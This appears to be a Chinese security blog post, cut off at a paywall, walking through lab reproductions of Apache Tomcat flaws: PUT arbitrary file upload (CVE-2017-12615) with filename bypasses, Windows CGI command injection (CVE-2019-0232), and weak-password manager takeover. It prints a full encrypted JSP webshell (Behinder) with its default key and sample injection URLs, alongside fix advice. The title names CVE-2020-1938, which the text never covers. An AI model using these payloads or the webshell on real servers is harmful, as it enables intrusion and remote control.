目录
Tomcat AJP文件包含漏洞分析(CVE-2020-1938)
前言
Tomcat服务器是一个免费的开放源代码的web应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP程序的首选。可以这样认为,当在一台机器上配置好 Apache服务器,可利用它响应HTML页面的访问请求。实际上 Tomcat是 Apache服务器的扩展,但运行时它是独立运行的,所以当运行 tomcat时,它实际上作为一个与 Apache独立的进程单独运行的。
目前版本型号7~10版本
默认端口:8080
安装
首先要有java的环境
注意:Tomcat的版本对与JAVA版本以及相应的JSP和 Servlet都是有要求的,Tomcat8版本以上的是需要Java7及以后的版本,所以需要对应JDK的版本来下载Tomcat的版本

然后安装Tomcat 一路默认下来 就ok了

可以看到它的8080端口 已经开启了

访问一下

Tomcat分析
主要文件
1.server.xml:配置 tomcat启动的端口号、host主机、Context等
2.web.xml:部署描述文件,这个web.xml中描述了一些默认的 servlet,部署每个 webapp时,都会调用这个文件,配置该web应用的默认 servlet
3:tomcat-users.xml:tomcat的用户密码与权限。

上传目录

Tomcat渗透
Tomcat任意文件写入(CVE-2017-12615)
影响范围
Apache Tomcat7.0.0-7.0.81(默认配置)
复现
这边我用vulhub
sudo service docker start
cd vulhub/tomcat/CVE-2017-12615
sudo docker-compose build
sudo docker-compose up -d

去底层看看源码
sudo docker ps
sudo docker exec -ti a3 bash
cat conf/web.xml |grep readonly


漏洞原理
产生是由于配置不当(非默认配置),将配置文件conf/web.xml中的readonly设置为了 false,导致可以使用PUT方法上传任意文件,但限制了jsp后缀,不过对于不同平台有多种绕过方法
开始复现
抓包 改位PUT 上传方式

去上传目录看看
/usr/local/tomcat/webapps/ROOT

成功上传
绕过,成功上传jsp
1.Windows下不允许文件以空格结尾
以PUT /a001.jsp%20 HTTP/1.1上传到 Windows会被自动去掉末尾空格
2.WindowsNTFS流
Put/a001.jsp::$DATA HTTP/1.1
3. /在文件名中是非法的,也会被去除(Linux/Windows)
Put/a001.jsp/http:/1.1
可以看到上传a001.jsp 是成功绕过了


其他两种我就不进行演示了
都是可以的
上传马儿,这边我用冰蝎进行连接
注意:不能开代理
看看冰蝎server目录下的jsp马儿


冰蝎的jsp马儿
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
注意这边要用/进行绕过,上传jsp

也可以看到是成功上传的


用冰蝎进行连接一下

最新版本复现
这边把这个漏洞的代码 粘贴进最新的版本
不加的话 PUT 上传txt都是不可以的
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>

保存退出 进行重启Tomcat



确实是可以成功写入的

进行PUT写入txt 发现它是可以的
但是绕过,上传jsp 三种方法我都试了 是不行的
修复
把readonly 改成true
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
Tomcat远程代码执行(CVE-2019-0232)
影响范围
Apache Tomcat 9.0.0.M1 to 9.0.17
Apache Tomcat 8.5.0 to 8.5.39
Apache Tomcat 7.0.0 to 7.0.93
这边就用 Windows 8.5.39 进行复现
安装
同样是先安装java

然后安装Tomcat


访问一下

漏洞原理
漏洞相关的代码在tomcat\java\org\apache\catalina\servlets\CGIServlet.java中,CGISerlvet提供了一个cgi的调用接口,在启用enableCmdLineArguments参数时,会根据RFC 3875来从Url参数中生成命令行参数,并把参数传递至Java的Runtime执行。
这个漏洞是因为Runtime.getRuntime().exec在 Windows中和 Linux中底层实现不同导致的
Java的Runtime.getRuntime().exec在CGI调用这种情况下很难有命令注入。
而 Windows中创建进程使用的是 CreateProcess,会将参数合并成字符串,作为lpComandLine传入 CreateProcess。程序启动后调用GetcommandLine获取参数,并调用CommandLineToArgw传至argv
在 Windows中,当CreateProcess中的参数为bat文件或是cmd文件时,会调用 cmd.exe,故最后会变成cmd.exe /c "a001.bat dir",而Java的调用过程并没有做任何的转义,所以在 Windows下会存在漏洞。
除此之外,Windows在处理参数方面还有一个特性,如果这里只加上简单的转义还是可能被绕过
例如dir "\"&whoami"在 Linux中是安全的,而在Windows会执行命令。
这是因为 Windows在处理命令行参数时,会将"中的内容拷贝为下一个参数,直到命令行结束或者遇到下一个",但是对"的处理有误。因此在Java中调用批处理或者cmd文件时,需要做合适的参数检査才能避免漏洞岀现。
漏洞分析
Tomcat的 CGI_Servlet组件默认是关闭的,在conf/web.xml中找到注释的 CGIServlet部分,去掉注释,并配置 enableCmdLineArguments和executable

就是配置这里
<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi</param-value>
</init-param>
<init-param>
<param-name>enableCmdLineArguments</param-name>
<param-value>true</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>
这里主要的设置是enableCmdLineArguments和 executable两个选项
1.enableCmdLineArguments启用后才会将Url中的参数传递到命令行
2.executable指定了执行的二进制文件,默认是perl,需要置为空才会执行文件本身。
同样在conf/web.xml中启用cgi的 servlet-mapping

修改conf/context.xml的添加 privileged="true"属性,否则会没有权限
<Context privileged="true">

配置目录文件
在C:\Tomcat\webapps\ROOT\WEB-INF下创建cgi-bin目录
并在该目录下创建一个a001.txt
里面内容随意


记得重启一下

然后我们访问
http://192.168.175.193:8080/cgi-bin/a001.bat?&dir
可以看到成功任意代码执行!
修复方式
开发者在 patch中增加了cmdLineArgumentsDecoded参数,这个参数用来校验传入的命令行参数,如果传入的命令行参数不符合规定的模式,则不执行。
校验写在 setupFromRequest函数中
String decodedArgument = URLDecoder.decode(encodedArgument, parameterEncoding);
if (cmdLineArgumentsDecodedPattern != null &&
!cmdLineArgumentsDecodedPattern.matcher(decodedArgument).matches()) {
if (log.isDebugEnabled()) {
log.debug(sm.getString("cgiServlet.invalidArgumentDecoded",
decodedArgument, cmdLineArgumentsDecodedPattern.toString()));
}
return false;
}
不通过时,会将 CGIEnvironment的valid参数设为 false,在之后的处理函数中会直接跳过执行
if (cgiEnv.isValid()) {
CGIRunner cgi = new CGIRunner(cgiEnv.getCommand(),
cgiEnv.getEnvironment(),
cgiEnv.getWorkingDirectory(),
cgiEnv.getParameters());
if ("POST".equals(req.getMethod())) {
cgi.setInput(req.getInputStream());
}
cgi.setResponse(res);
cgi.run();
} else {
res.sendError(404);
}
修复建议
1.使用更新版本的 Apache Tomcat。这里需要注意的是,虽然在9.0.18就修复了这个漏洞,但这个更新是并没有通过候选版本的投票,所以虽然9.0.18没有在被影响的列表中,用户仍需要下载9.0.19的版本来获得没有该漏洞的版本
2.关闭 enableCmdLineArguments参数
Tomcat弱口令&后台getshell漏洞
影响范围
Tomcat8
这边就还是用vulhub进行复现
cd vulhub-master/tomcat/tomcat8
sudo docker-compose up -d

之前的容器要关掉
去docker底层看看它的源码
sudo docker ps
sudo docker exec -ti a bash
cd conf
把这三个文件复制出来
sudo docker cp 5e81d6d51622:/usr/local/tomcat/conf/tomcat-users.xml /home/dayu/Desktop/
sudo docker cp 5e81d6d51622:/usr/local/tomcat/conf/tomcat-users.xsd /home/dayu/Desktop/
sudo docker cp 5e81d6d51622:/usr/local/tomcat/conf/web.xml /home/dayu/Desktop/

本文详细介绍了Tomcat的各种安全漏洞,包括任意文件写入、远程代码执行、弱口令和后台getshell等,分析了漏洞原理并提供了复现步骤。同时,文章还展示了利用这些漏洞的实际操作,如文件上传、命令执行和后台管理。最后,给出了修复建议,如升级版本、禁用AJP协议和设置认证凭证。
最低0.47元/天 解锁文章
10万+

被折叠的 条评论
为什么被折叠?



